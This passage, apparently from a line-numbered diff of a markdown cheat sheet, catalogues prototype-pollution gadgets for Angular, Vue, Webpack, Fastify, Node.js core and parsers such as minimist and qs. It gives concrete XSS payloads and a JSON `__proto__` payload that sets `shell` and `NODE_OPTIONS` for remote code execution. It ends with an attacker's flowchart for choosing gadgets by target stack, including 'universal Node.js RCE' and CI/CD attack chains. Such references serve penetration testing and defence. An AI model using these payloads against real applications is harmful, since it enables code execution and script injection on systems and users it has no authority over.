## 4. ANGULAR.JS (1.x)
|
|
110
|
+
|
|
111
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
112
|
+
|---|---|---|---|---|
|
|
113
|
+
| `__defineGetter__` | Overriding toString/valueOf | `$interpolate` / `$compile` | XSS | Angular 1.x |
|
|
114
|
+
| `$parent` | Scope chain manipulation | Template expressions | Sandbox bypass | Angular 1.x < 1.6 |
|
|
115
|
+
| `charset` | Modified charset | HTTP interceptors | Response manipulation | Angular 1.x |
|
|
116
|
+
|
|
117
|
+
Angular sandbox escapes + PP: `{{constructor.constructor('alert(1)')()}}` may work if PP disables sandbox checks.
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## 5. VUE.JS
|
|
122
|
+
|
|
123
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
124
|
+
|---|---|---|---|---|
|
|
125
|
+
| `template` | `"<div v-html='\"<img src=x onerror=alert(1)>\"'></div>"` | Component creation without explicit template | XSS | Vue 2.x |
|
|
126
|
+
| `render` | Custom render function | Component mount | Code execution | Vue 2.x |
|
|
127
|
+
| `staticRenderFns` | Array of render functions | Component render | Code execution | Vue 2.x |
|
|
128
|
+
| `compilerOptions` | Modified compilation options | Template compilation | Various | Vue 3.x |
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## 6. WEBPACK
|
|
133
|
+
|
|
134
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
135
|
+
|---|---|---|---|---|
|
|
136
|
+
| `output.library` | Modified library name | Build process | Code injection in output | Webpack 4.x–5.x |
|
|
137
|
+
| `output.auxiliaryComment` | Code injection via comment | Build process | XSS in built files | Webpack 4.x |
|
|
138
|
+
| `devtool` | `"eval"` → enables eval mode | Build process | Code execution path | Webpack 4.x–5.x |
|
|
139
|
+
|
|
140
|
+
Webpack PP is exploitable during **build time**, not runtime. Useful in CI/CD attack chains.
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## 7. FASTIFY
|
|
145
|
+
|
|
146
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
147
|
+
|---|---|---|---|---|
|
|
148
|
+
| `reply.view` options | Template engine options (same as EJS/Pug gadgets) | `reply.view()` | RCE | Fastify + point-of-view |
|
|
149
|
+
| `rewriteUrl` | URL rewrite function | Request routing | Access control bypass | Fastify 3.x |
|
|
150
|
+
| `schema` | Modified validation schema | Route validation | Validation bypass | Fastify 3.x–4.x |
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## 8. NODE.JS CORE
|
|
155
|
+
|
|
156
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
157
|
+
|---|---|---|---|---|
|
|
158
|
+
| `shell` | `"node"` or `"/bin/sh"` | `child_process.spawn()` without explicit shell | RCE | All Node.js |
|
|
159
|
+
| `NODE_OPTIONS` | `"--require /path/to/evil.js"` | `child_process.fork()` / `.spawn()` | RCE | Node.js 8+ |
|
|
160
|
+
| `argv0` | Malicious argument | `child_process.spawn()` | Code injection | All |
|
|
161
|
+
| `env` | Custom environment variables | `child_process.spawn()` without explicit env | ENV injection | All |
|
|
162
|
+
| `input` | Stdin data | `child_process.execSync()` | Data injection | All |
|
|
163
|
+
| `stdio` | Modified stdio config | `child_process.spawn()` | File descriptor manipulation | All |
|
|
164
|
+
|
|
165
|
+
```json
|
|
166
|
+
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## 9. MISCELLANEOUS LIBRARIES
|
|
172
|
+
|
|
173
|
+
### minimist (Argument Parser)
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# CLI argument pollution:
|
|
177
|
+
node app.js --__proto__.polluted yes
|
|
178
|
+
# Pollutes Object.prototype.polluted = "yes"
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
Affected: minimist < 1.2.6
|
|
182
|
+
|
|
183
|
+
### yargs
|
|
184
|
+
|
|
185
|
+
Similar to minimist — CLI argument parsing can pollute prototype.
|
|
186
|
+
|
|
187
|
+
### qs (Query String Parser)
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
# URL query pollution:
|
|
191
|
+
?__proto__[polluted]=yes
|
|
192
|
+
?__proto__.polluted=yes
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
qs versions < 6.0.4 allow prototype pollution via nested brackets.
|
|
196
|
+
|
|
197
|
+
### destr (JSON Parser)
|
|
198
|
+
|
|
199
|
+
```javascript
|
|
200
|
+
destr('{"__proto__":{"polluted":"yes"}}')
|
|
201
|
+
// Older versions allow PP through JSON parsing
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
### json5
|
|
205
|
+
|
|
206
|
+
```javascript
|
|
207
|
+
JSON5.parse('{"__proto__":{"polluted":"yes"}}')
|
|
208
|
+
// Older versions may pollute prototype
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## 10. GADGET SELECTION FLOWCHART
|
|
214
|
+
|
|
215
|
+
```
|
|
216
|
+
Identified target stack?
|
|
217
|
+
│
|
|
218
|
+
├── Server-side Node.js
|
|
219
|
+
│ ├── Express + template engine?
|
|
220
|
+
│ │ ├── EJS → outputFunctionName (highest success rate)
|
|
221
|
+
│ │ ├── Pug → block.type + block.val
|
|
222
|
+
│ │ ├── Handlebars → allowProtoMethodsByDefault + template chain
|
|
223
|
+
│ │ ├── Nunjucks → type: Code
|
|
224
|
+
│ │ └── Unknown → try EJS gadget first (most common)
|
|
225
|
+
│ │
|
|
226
|
+
│ ├── Fastify + point-of-view?
|
|
227
|
+
│ │ └── Same template gadgets apply via reply.view
|
|
228
|
+
│ │
|
|
229
|
+
│ ├── child_process used? (likely yes in any Node.js app)
|
|
230
|
+
│ │ └── shell + NODE_OPTIONS → universal Node.js RCE
|
|
231
|
+
│ │
|
|
232
|
+
│ └── No template / no child_process?
|
|
233
|
+
│ └── Try status/header pollution for impact demonstration
|
|
234
|
+
│
|
|
235
|
+
├── Client-side JavaScript
|
|
236
|
+
│ ├── jQuery?
|
|
237
|
+
│ │ └── $.extend(true,...) sink + innerHTML/src gadget
|
|
238
|
+
│ │
|
|
239
|
+
│ ├── Lodash?
|
|
240
|
+
│ │ └── _.merge/defaultsDeep sink + _.template sourceURL gadget
|
|
241
|
+
│ │
|
|
242
|
+
│ ├── Angular 1.x?
|
|
243
|
+
│ │ └── $interpolate + sandbox bypass
|
|
244
|
+
│ │
|
|
245
|
+
│ ├── Vue 2.x?
|
|
246
|
+
│ │ └── template property pollution
|
|
247
|
+
│ │
|
|
248
|
+
│ └── None of the above?
|
|
249
|
+
│ └── Generic DOM property pollution (src, href, innerHTML)
|
|
250
|
+
│
|
|
251
|
+
└── Build pipeline (CI/CD)
|
|
252
|
+
└── Webpack output.library / devtool pollution
|
|
253
|
+
```
|